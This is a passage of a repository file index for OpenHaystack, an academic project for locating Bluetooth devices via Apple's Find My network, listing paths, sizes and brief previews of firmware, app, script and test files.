"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Scheme\n LastUpgradeVersion = \"1240\"\n version = \"1.3\">\n <BuildAction\n "
},
{
"path": "CVE-2020-9986/OFReadKeys/OFReadKeys.xcodeproj/xcshareddata/xcschemes/Run OFFetchReports.xcscheme",
"chars": 3020,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Scheme\n LastUpgradeVersion = \"1250\"\n version = \"1.3\">\n <BuildAction\n "
},
{
"path": "Firmware/ESP32/.gitignore",
"chars": 31,
"preview": "build/**\nvenv/**\nsdkconfig.old\n"
},
{
"path": "Firmware/ESP32/.vscode/settings.json",
"chars": 44,
"preview": "{\n \"idf.port\": \"/dev/cu.usbserial-0001\"\n}"
},
{
"path": "Firmware/ESP32/CMakeLists.txt",
"chars": 265,
"preview": "# The following lines of boilerplate have to be in your project's CMakeLists\n# in this exact order for cmake to work cor"
},
{
"path": "Firmware/ESP32/Makefile",
"chars": 238,
"preview": "#\n# This is a project Makefile. It is assumed the directory this Makefile resides in is a\n# project subdirectory.\n#\n\nPRO"
},
{
"path": "Firmware/ESP32/README.md",
"chars": 1879,
"preview": "# OpenHaystack Firmware for ESP32\n\nThis project contains a PoC firmware for Espressif ESP32 chips (like ESP32-WROOM or E"
},
{
"path": "Firmware/ESP32/flash_esp32.sh",
"chars": 4297,
"preview": "#!/bin/bash\n\ncleanup() {\n echo \"cleanup ...\"\n rm \"$KEYFILE\"\n}\n\n# Directory of this script\nSCRIPT_DIR=\"$( cd \"$( di"
},
{
"path": "Firmware/ESP32/main/CMakeLists.txt",
"chars": 115,
"preview": "idf_component_register(SRCS \"openhaystack_main.c\"\n \n INCLUDE_DIRS \".\")"
},
{
"path": "Firmware/ESP32/main/Kconfig.projbuild",
"chars": 0,
"preview": ""
},
{
"path": "Firmware/ESP32/main/component.mk",
"chars": 145,
"preview": "#\n# \"main\" pseudo-component makefile.\n#\n# (Uses default behaviour of compiling all source files in directory, adding 'in"
},
{
"path": "Firmware/ESP32/main/openhaystack_main.c",
"chars": 5651,
"preview": "#include <stdint.h>\n#include <string.h>\n#include <stdbool.h>\n#include <stdio.h>\n\n#include \"nvs_flash.h\"\n#include \"esp_pa"
},
{
"path": "Firmware/ESP32/partitions.csv",
"chars": 210,
"preview": "# Name, Type, SubType, Offset, Size, Flags\nnvs, data, nvs, 0x9000, 0x5000,\nkey, 0x40, 0x00, 0xe000,"
},
{
"path": "Firmware/ESP32/sdkconfig",
"chars": 51552,
"preview": "#\n# Automatically generated file. DO NOT EDIT.\n# Espressif IoT Development Framework (ESP-IDF) Project Configuration\n#\nC"
},
{
"path": "Firmware/Linux_HCI/HCI.py",
"chars": 2284,
"preview": "#!/usr/bin/env python3\n\nimport base64\nimport subprocess\nimport time\nimport struct\nimport argparse\nimport sys\n\n\ndef adver"
},
{
"path": "Firmware/Linux_HCI/README.md",
"chars": 947,
"preview": "# OpenHaystack HCI Script for Linux\n\nThis script enables Linux devices to send out Bluetooth Low Energy advertisements s"
},
{
"path": "Firmware/Microbit_v1/.gitignore",
"chars": 101,
"preview": "# nRF SDK\nnrf51_sdk_v4_4_2_33551/\nnrf51_sdk_v4_4_2_33551.zip\n\n# Build artifacts\n*.bin\n*.map\n*.out\n*.o"
},
{
"path": "Firmware/Microbit_v1/LICENSE",
"chars": 1123,
"preview": "Copyright 2021 Secure Mobile Networking Lab (SEEMOO)\nCopyright 2021 The Open Wireless Link Project\n\nPermission is hereby"
},
{
"path": "Firmware/Microbit_v1/Makefile",
"chars": 963,
"preview": "PLATFORM := nRF51822\nNRF51_SDK_PATH := $(shell pwd)/nrf51_sdk_v4_4_2_33551\nNRF51_SDK_DOWNLOAD_URL := https://developer.n"
},
{
"path": "Firmware/Microbit_v1/README.md",
"chars": 1818,
"preview": "# OpenHaystack Firmware for nRF51822\n\nThis project contains a PoC firmware for Nordic nRF51822 chips such as used by the"
},
{
"path": "Firmware/Microbit_v1/offline-finding/Makefile",
"chars": 142,
"preview": "PROJECT_TARGET\t\t= offline-finding\nPROJECT_SOURCE_FILES\t= main.c\n\nBLESSED_PATH := ../blessed\n\ninclude $(BLESSED_PATH)/exa"
},
{
"path": "Firmware/Microbit_v1/offline-finding/main.c",
"chars": 1895,
"preview": "/**\n * OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n *\n * Copyright © 2021 Secure Mo"
},
{
"path": "LICENSE",
"chars": 32387,
"preview": " GNU AFFERO GENERAL PUBLIC LICENSE\n Version 3, 19 November 2007\n\n Copyright (C)"
},
{
"path": "Makefile",
"chars": 221,
"preview": "APPDIR := OpenHaystack\n\ndefault:\n\ninstall-hooks: .pre-commit\n\tcp .pre-commit .git/hooks/pre-commit\n\napp-autoformat:\n\tswi"
},
{
"path": "OpenHaystack/.clang-format",
"chars": 51,
"preview": "BasedOnStyle: llvm\nColumnLimit: 180\nIndentWidth: 4\n"
},
{
"path": "OpenHaystack/.swift-format",
"chars": 91,
"preview": "{\n \"version\": 1,\n \"lineLength\": 180,\n \"indentation\": {\n \"spaces\": 4\n }\n}"
},
{
"path": "OpenHaystack/OpenHaystack/.ldid.OfflineFinder.entitlements",
"chars": 0,
"preview": ""
},
{
"path": "OpenHaystack/OpenHaystack/AnisetteDataManager.swift",
"chars": 10180,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "OpenHaystack/OpenHaystack/Assets.xcassets/AppIcon.appiconset/Contents.json",
"chars": 1201,
"preview": "{\n \"images\" : [\n {\n \"filename\" : \"16.png\",\n \"idiom\" : \"mac\",\n \"scale\" : \"1x\",\n \"size\" : \"16x16\"\n"
},
{
"path": "OpenHaystack/OpenHaystack/Assets.xcassets/Colors/Button.colorset/Contents.json",
"chars": 603,
"preview": "{\n \"colors\" : [\n {\n \"color\" : {\n \"color-space\" : \"gray-gamma-22\",\n \"components\" : {\n \"al"
},
{
"path": "OpenHaystack/OpenHaystack/Assets.xcassets/Colors/ButtonPressed.colorset/Contents.json",
"chars": 603,
"preview": "{\n \"colors\" : [\n {\n \"color\" : {\n \"color-space\" : \"gray-gamma-22\",\n \"components\" : {\n \"al"
},
{
"path": "OpenHaystack/OpenHaystack/Assets.xcassets/Colors/Contents.json",
"chars": 63,
"preview": "{\n \"info\" : {\n \"author\" : \"xcode\",\n \"version\" : 1\n }\n}\n"
},
{
"path": "OpenHaystack/OpenHaystack/Assets.xcassets/Colors/ListRow1.colorset/Contents.json",
"chars": 603,
"preview": "{\n \"colors\" : [\n {\n \"color\" : {\n \"color-space\" : \"extended-gray\",\n \"components\" : {\n \"al"
},
{
"path": "OpenHaystack/OpenHaystack/Assets.xcassets/Colors/ListRow2.colorset/Contents.json",
"chars": 603,
"preview": "{\n \"colors\" : [\n {\n \"color\" : {\n \"color-space\" : \"extended-gray\",\n \"components\" : {\n \"al"
},
{
"path": "OpenHaystack/OpenHaystack/Assets.xcassets/Colors/PinColor.colorset/Contents.json",
"chars": 695,
"preview": "{\n \"colors\" : [\n {\n \"color\" : {\n \"color-space\" : \"srgb\",\n \"components\" : {\n \"alpha\" : \"1"
},
{
"path": "OpenHaystack/OpenHaystack/Assets.xcassets/Colors/PinImageColor.colorset/Contents.json",
"chars": 695,
"preview": "{\n \"colors\" : [\n {\n \"color\" : {\n \"color-space\" : \"srgb\",\n \"components\" : {\n \"alpha\" : \"1"
},
{
"path": "OpenHaystack/OpenHaystack/Assets.xcassets/Contents.json",
"chars": 63,
"preview": "{\n \"info\" : {\n \"author\" : \"xcode\",\n \"version\" : 1\n }\n}\n"
},
{
"path": "OpenHaystack/OpenHaystack/Base.lproj/Main.storyboard",
"chars": 58350,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<document type=\"com.apple.InterfaceBuilder3.Cocoa.Storyboard.XIB\" version=\"3.0\" t"
},
{
"path": "OpenHaystack/OpenHaystack/BoringSSL/BoringSSL.h",
"chars": 1464,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "OpenHaystack/OpenHaystack/BoringSSL/BoringSSL.m",
"chars": 11074,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "OpenHaystack/OpenHaystack/FindMy/DecryptReports.swift",
"chars": 3992,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "OpenHaystack/OpenHaystack/FindMy/FindMyController.swift",
"chars": 8870,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "OpenHaystack/OpenHaystack/FindMy/FindMyKeyDecoder.swift",
"chars": 3671,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "OpenHaystack/OpenHaystack/FindMy/Models.swift",
"chars": 6642,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "OpenHaystack/OpenHaystack/HaystackApp/AccessoryController.swift",
"chars": 11695,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "OpenHaystack/OpenHaystack/HaystackApp/AccessoryNearbyMonitor.swift",
"chars": 2415,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "OpenHaystack/OpenHaystack/HaystackApp/Bluetooth/Advertisement.swift",
"chars": 1631,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "OpenHaystack/OpenHaystack/HaystackApp/Bluetooth/BluetoothAccessoryScanner.swift",
"chars": 1424,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "OpenHaystack/OpenHaystack/HaystackApp/DataToHexExtension.swift",
"chars": 820,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "OpenHaystack/OpenHaystack/HaystackApp/ESP32Controller.swift",
"chars": 2253,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "OpenHaystack/OpenHaystack/HaystackApp/FileManager.swift",
"chars": 1586,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "OpenHaystack/OpenHaystack/HaystackApp/Firmwares/ESP32/.gitkeep",
"chars": 53,
"preview": "(directory will be populated in CI release workflow)\n"
},
{
"path": "OpenHaystack/OpenHaystack/HaystackApp/Firmwares/NRF/NRF52_NRF52832_openHayStack.hex",
"chars": 543674,
"preview": ":10000000E0AE0020398400009D8300006984000078\r\n:100010006984000069840000698400000000000019\r\n:10002000000000000000000000000"
},
{
"path": "OpenHaystack/OpenHaystack/HaystackApp/Firmwares/NRF/NRF52_NRF52840_openHayStack.hex",
"chars": 563237,
"preview": ":1000000000B60020E5860000498600001587000044\r\n:10001000158700001587000015870000000000000C\r\n:10002000000000000000000000000"
},
{
"path": "OpenHaystack/OpenHaystack/HaystackApp/Firmwares/NRF/flash_nrf.py",
"chars": 5238,
"preview": "#!/bin/python3\nfrom pynrfjprog import LowLevel\nfrom intelhex import IntelHex\nfrom base64 import b64decode\nimport argpars"
},
{
"path": "OpenHaystack/OpenHaystack/HaystackApp/Firmwares/NRF/flash_nrf.sh",
"chars": 4158,
"preview": "#!/bin/bash\n\ncleanup() {\n echo \"### done\"\n}\n\n\n# Parameter parsing\nwhile [[ $# -gt 0 ]]; do\n KEY=\"$1\"\n case \"$KE"
},
{
"path": "OpenHaystack/OpenHaystack/HaystackApp/KeychainController.swift",
"chars": 2605,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "OpenHaystack/OpenHaystack/HaystackApp/Mail Plugin/HaystackMail.mailbundle/Contents/Info.plist",
"chars": 3271,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/P"
},
{
"path": "OpenHaystack/OpenHaystack/HaystackApp/Mail Plugin/HaystackMail.mailbundle/_CodeSignature/CodeResources",
"chars": 2200,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/P"
},
{
"path": "OpenHaystack/OpenHaystack/HaystackApp/Mail Plugin/MailPluginManager.swift",
"chars": 5109,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "OpenHaystack/OpenHaystack/HaystackApp/MicrobitController.swift",
"chars": 3882,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "OpenHaystack/OpenHaystack/HaystackApp/Model/Accessory.swift",
"chars": 14346,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "OpenHaystack/OpenHaystack/HaystackApp/Model/PreviewData.swift",
"chars": 2555,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "OpenHaystack/OpenHaystack/HaystackApp/NRFController.swift",
"chars": 2867,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "OpenHaystack/OpenHaystack/HaystackApp/UpdateCheckController.swift",
"chars": 8213,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "OpenHaystack/OpenHaystack/HaystackApp/Views/AccessoryListEntry.swift",
"chars": 9785,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "OpenHaystack/OpenHaystack/HaystackApp/Views/AccessoryMapAnnotation.swift",
"chars": 3209,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "OpenHaystack/OpenHaystack/HaystackApp/Views/AccessoryMapView.swift",
"chars": 1871,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "OpenHaystack/OpenHaystack/HaystackApp/Views/ActivityIndicator.swift",
"chars": 844,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "OpenHaystack/OpenHaystack/HaystackApp/Views/ESP32InstallSheet.swift",
"chars": 4342,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "OpenHaystack/OpenHaystack/HaystackApp/Views/IconSelectionView.swift",
"chars": 3798,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "OpenHaystack/OpenHaystack/HaystackApp/Views/ManageAccessoriesView.swift",
"chars": 9364,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "OpenHaystack/OpenHaystack/HaystackApp/Views/NRFInstallSheet.swift",
"chars": 5931,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "OpenHaystack/OpenHaystack/HaystackApp/Views/OpenHaystackMainView.swift",
"chars": 17975,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "OpenHaystack/OpenHaystack/HaystackApp/Views/OpenHaystackSettingsView.swift",
"chars": 987,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2024 Secure Mob"
},
{
"path": "OpenHaystack/OpenHaystack/HaystackApp/Views/PopUpAlertView.swift",
"chars": 1184,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "OpenHaystack/OpenHaystack/HaystackApp/Views/Slider+LogScale.swift",
"chars": 1500,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "OpenHaystack/OpenHaystack/HaystackApp/Views/Styles/LargeButtonStyle.swift",
"chars": 917,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "OpenHaystack/OpenHaystack/Info.plist",
"chars": 1189,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/P"
},
{
"path": "OpenHaystack/OpenHaystack/MapViewController.swift",
"chars": 3455,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "OpenHaystack/OpenHaystack/MapViewController.xib",
"chars": 2257,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<document type=\"com.apple.InterfaceBuilder3.Cocoa.XIB\" version=\"3.0\" toolsVersion"
},
{
"path": "OpenHaystack/OpenHaystack/OpenHaystackApp.swift",
"chars": 1950,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "OpenHaystack/OpenHaystack/Preview Content/Preview Assets.xcassets/Contents.json",
"chars": 63,
"preview": "{\n \"info\" : {\n \"author\" : \"xcode\",\n \"version\" : 1\n }\n}\n"
},
{
"path": "OpenHaystack/OpenHaystack/ReportsFetcher/ReportsFetcher.h",
"chars": 2321,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "OpenHaystack/OpenHaystack/ReportsFetcher/ReportsFetcher.m",
"chars": 6304,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "OpenHaystack/OpenHaystack/SavePanel.swift",
"chars": 1389,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "OpenHaystack/OpenHaystack-Bridging-Header.h",
"chars": 356,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "OpenHaystack/OpenHaystack.xcodeproj/project.pbxproj",
"chars": 54069,
"preview": "// !$*UTF8*$!\n{\n\tarchiveVersion = 1;\n\tclasses = {\n\t};\n\tobjectVersion = 54;\n\tobjects = {\n\n/* Begin PBXBuildFile section *"
},
{
"path": "OpenHaystack/OpenHaystack.xcodeproj/project.xcworkspace/contents.xcworkspacedata",
"chars": 135,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Workspace\n version = \"1.0\">\n <FileRef\n location = \"self:\">\n </FileRef"
},
{
"path": "OpenHaystack/OpenHaystack.xcodeproj/project.xcworkspace/xcshareddata/IDETemplateMacros.plist",
"chars": 481,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/P"
},
{
"path": "OpenHaystack/OpenHaystack.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist",
"chars": 238,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/P"
},
{
"path": "OpenHaystack/OpenHaystack.xcodeproj/project.xcworkspace/xcshareddata/swiftpm/Package.resolved",
"chars": 1742,
"preview": "{\n \"originHash\" : \"bfeb00ee66eb6db71ff8535b5ea7585725e9fe73d97f066170be55b745d346e9\",\n \"pins\" : [\n {\n \"identit"
},
{
"path": "OpenHaystack/OpenHaystack.xcodeproj/xcshareddata/xcschemes/OpenHaystack (Preview).xcscheme",
"chars": 3692,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Scheme\n LastUpgradeVersion = \"1240\"\n version = \"1.3\">\n <BuildAction\n "
},
{
"path": "OpenHaystack/OpenHaystack.xcodeproj/xcshareddata/xcschemes/OpenHaystack.xcscheme",
"chars": 4056,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Scheme\n LastUpgradeVersion = \"1240\"\n version = \"1.3\">\n <BuildAction\n "
},
{
"path": "OpenHaystack/OpenHaystack.xcodeproj/xcshareddata/xcschemes/OpenHaystackMail.xcscheme",
"chars": 2780,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Scheme\n LastUpgradeVersion = \"1240\"\n version = \"1.3\">\n <BuildAction\n "
},
{
"path": "OpenHaystack/OpenHaystack.xcodeproj/xcshareddata/xcschemes/OpenHaystackTests.xcscheme",
"chars": 1828,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Scheme\n LastUpgradeVersion = \"1240\"\n version = \"1.3\">\n <BuildAction\n "
},
{
"path": "OpenHaystack/OpenHaystackMail/ALTAnisetteData.h",
"chars": 1660,
"preview": "//\n// ALTAnisetteData.h\n// AltSign\n//\n// Created by Riley Testut on 11/13/19.\n// Copyright © 2019 Riley Testut. All "
},
{
"path": "OpenHaystack/OpenHaystackMail/ALTAnisetteData.m",
"chars": 7455,
"preview": "//\n// ALTAnisetteData.m\n// AltSign\n//\n// Created by Riley Testut on 11/13/19.\n// Copyright © 2019 Riley Testut. All "
},
{
"path": "OpenHaystack/OpenHaystackMail/AppleAccountData.h",
"chars": 1832,
"preview": "//\n// AppleAccountData.h\n// AltSign\n//\n// Created by Riley Testut on 11/13/19.\n// Copyright © 2019 Riley Testut. All"
},
{
"path": "OpenHaystack/OpenHaystackMail/AppleAccountData.m",
"chars": 8691,
"preview": "//\n// AppleAccountData.m\n// AltSign\n//\n// Created by Riley Testut on 11/13/19.\n// Copyright © 2019 Riley Testut. All"
},
{
"path": "OpenHaystack/OpenHaystackMail/Info.plist",
"chars": 11845,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/P"
},
{
"path": "OpenHaystack/OpenHaystackMail/OpenHaystackPluginService.h",
"chars": 559,
"preview": "//\n// ALTPluginService.h\n// AltPlugin\n//\n// Created by Riley Testut on 11/14/19.\n// Copyright © 2019 Riley Testut. A"
},
{
"path": "OpenHaystack/OpenHaystackMail/OpenHaystackPluginService.m",
"chars": 5551,
"preview": "//\n// ALTPluginService.m\n// AltPlugin\n//\n// Created by Riley Testut on 11/14/19.\n// Copyright © 2019 Riley Testut. A"
},
{
"path": "OpenHaystack/OpenHaystackTests/BluetoothTests.swift",
"chars": 2012,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "OpenHaystack/OpenHaystackTests/Info.plist",
"chars": 727,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/P"
},
{
"path": "OpenHaystack/OpenHaystackTests/MicrocontrollerTests.swift",
"chars": 4072,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "OpenHaystack/OpenHaystackTests/OpenHaystackTests.swift",
"chars": 6795,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "OpenHaystack/OpenHaystackTests/UpdateCheckTests.swift",
"chars": 3222,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "OpenHaystack/Resources/codesign_offline_finder.sh",
"chars": 542,
"preview": "#bin/sh\nidentities=$(security find-identity -p codesigning -v)\n#echo \"${identities}\"\npat=' ([0-9ABCDEF]+) '\n[[ $identiti"
},
{
"path": "README.Reproducibility.md",
"chars": 3718,
"preview": "# PoPETs Artifact Review\n\nWe submit the research artifacts of our paper **Who Can _Find My_ Devices? Security and Privac"
},
{
"path": "README.md",
"chars": 11844,
"preview": "# <img src=\"Resources/Icon/OpenHaystackIcon.png\" alt=\"OpenHaystack application icon\" height=42 width=42 valign=bottom />"
},
{
"path": "Resources/Icon/create_appicon.py",
"chars": 431,
"preview": "#!/usr/bin/env python3\n\nimport os\n\nfrom PIL import Image\n\nbasename = \"OpenHaystackIcon\"\nimformat = \"png\"\n\nexport_folder "
},
{
"path": "openhaystack-mobile/.gitignore",
"chars": 732,
"preview": "# Miscellaneous\n*.class\n*.log\n*.pyc\n*.swp\n.DS_Store\n.atom/\n.buildlog/\n.history\n.svn/\n\n# IntelliJ related\n*.iml\n*.ipr\n*.i"
},
{
"path": "openhaystack-mobile/.metadata",
"chars": 305,
"preview": "# This file tracks properties of this Flutter project.\n# Used by Flutter tool to assess capabilities and perform upgrade"
},
{
"path": "openhaystack-mobile/README.md",
"chars": 2454,
"preview": "# OpenHaystack Mobile\nPorting OpenHaystack to Mobile\n\n# About OpenHaystack\nOpenHaystack is a project that allows locatio"
},
{
"path": "openhaystack-mobile/analysis_options.yaml",
"chars": 1453,
"preview": "# This file configures the analyzer, which statically analyzes Dart code to\n# check for errors, warnings, and lints.\n#\n#"
},
{
"path": "openhaystack-mobile/android/.gitignore",
"chars": 285,
"preview": "gradle-wrapper.jar\n/.gradle\n/captures/\n/gradlew\n/gradlew.bat\n/local.properties\nGeneratedPluginRegistrant.java\n\n# Remembe"
},
{
"path": "openhaystack-mobile/android/app/build.gradle",
"chars": 1904,
"preview": "def localProperties = new Properties()\ndef localPropertiesFile = rootProject.file('local.properties')\nif (localPropertie"
},
{
"path": "openhaystack-mobile/android/app/src/debug/AndroidManifest.xml",
"chars": 905,
"preview": "<manifest xmlns:android=\"http://schemas.android.com/apk/res/android\"\n package=\"de.seemoo.android.openhaystack\">\n <"
},
{
"path": "openhaystack-mobile/android/app/src/main/AndroidManifest.xml",
"chars": 3133,
"preview": "<manifest xmlns:android=\"http://schemas.android.com/apk/res/android\"\n package=\"de.seemoo.android.openhaystack\">\n <"
},
{
"path": "openhaystack-mobile/android/app/src/main/kotlin/com/example/seemoo_lab_21_22/MainActivity.kt",
"chars": 135,
"preview": "package de.seemoo.android.openhaystack\n\nimport io.flutter.embedding.android.FlutterActivity\n\nclass MainActivity: Flutter"
},
{
"path": "openhaystack-mobile/android/app/src/main/res/drawable/launch_background.xml",
"chars": 434,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<!-- Modify this file to customize your launch splash screen -->\n<layer-list xmln"
},
{
"path": "openhaystack-mobile/android/app/src/main/res/drawable-v21/launch_background.xml",
"chars": 438,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<!-- Modify this file to customize your launch splash screen -->\n<layer-list xmln"
},
{
"path": "openhaystack-mobile/android/app/src/main/res/values/styles.xml",
"chars": 994,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n <!-- Theme applied to the Android Window while the process is sta"
},
{
"path": "openhaystack-mobile/android/app/src/main/res/values-night/styles.xml",
"chars": 993,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n <!-- Theme applied to the Android Window while the process is sta"
},
{
"path": "openhaystack-mobile/android/app/src/profile/AndroidManifest.xml",
"chars": 905,
"preview": "<manifest xmlns:android=\"http://schemas.android.com/apk/res/android\"\n package=\"de.seemoo.android.openhaystack\">\n <"
},
{
"path": "openhaystack-mobile/android/build.gradle",
"chars": 575,
"preview": "buildscript {\n ext.kotlin_version = '1.6.0'\n repositories {\n google()\n mavenCentral()\n }\n\n dep"
},
{
"path": "openhaystack-mobile/android/gradle/wrapper/gradle-wrapper.properties",
"chars": 231,
"preview": "#Fri Jun 23 08:50:38 CEST 2017\ndistributionBase=GRADLE_USER_HOME\ndistributionPath=wrapper/dists\nzipStoreBase=GRADLE_USER"
},
{
"path": "openhaystack-mobile/android/gradle.properties",
"chars": 82,
"preview": "org.gradle.jvmargs=-Xmx1536M\nandroid.useAndroidX=true\nandroid.enableJetifier=true\n"
},
{
"path": "openhaystack-mobile/android/settings.gradle",
"chars": 462,
